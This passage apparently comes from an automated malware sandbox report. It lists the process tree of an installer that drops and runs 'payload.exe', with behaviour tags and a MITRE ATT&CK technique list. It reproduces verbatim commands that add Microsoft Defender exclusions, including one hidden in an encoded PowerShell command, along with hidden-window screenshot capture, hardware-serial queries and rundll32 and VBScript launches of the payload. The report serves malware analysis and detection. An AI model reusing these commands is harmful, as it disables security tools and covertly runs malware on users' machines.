    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAZABpAHMAdABcAGYAaQBsAGUAcwBcAG0AcwA4ADcAYgB5AG0AbgBjADgAOAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAZABpAHMAdABcAGYAaQBsAGUAcwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgBlAGQAaQBzAHQAXABmAGkAbABlAHMAXABtAHMAOAA3AGIAeQBtAG4AYwA4ADgANQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAZABpAHMAdABcAGYAaQBsAGUAcwBcAG0AcwA4ADcAYgB5AG0AbgBjADgAOAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAZABpAHMAdABcAGYAaQBsAGUAcwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgBlAGQAaQBzAHQAXABmAGkAbABlAHMAXABtAHMAOAA3AGIAeQBtAG4AYwA4ADgANQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\comsetup_844e02.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\comsetup_844e02.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    3⤵
    PID:5644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885'""
  2⤵
  - Executes a command shell one-liner
  PID:2680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885""
  2⤵
  - Executes a command shell one-liner
  PID:3392
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885"
    3⤵
    PID:4444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files'""
  2⤵
  - Executes a command shell one-liner
  PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files""
  2⤵
  - Executes a command shell one-liner
  PID:4492
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files"
    3⤵
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:2264
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
    3⤵
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_d1ae00.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_d1ae00.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:1840
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:2256
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    PID:5564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:1932
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:4944
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    PID:3504
- C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:1736
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4668
  - - C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:2396
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
    3⤵
    PID:6040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:4964
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:5528
  - - C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4168
  - - C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_07cc63.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:5884
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_07cc63.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mssetup_796f95.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mssetup_796f95.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:1412
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:5216
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    PID:4624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:2032
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber /value
    3⤵
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
  2⤵
  - Executes a command shell one-liner
  PID:1808
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber /value
    3⤵
    PID:2600

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4308
- C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact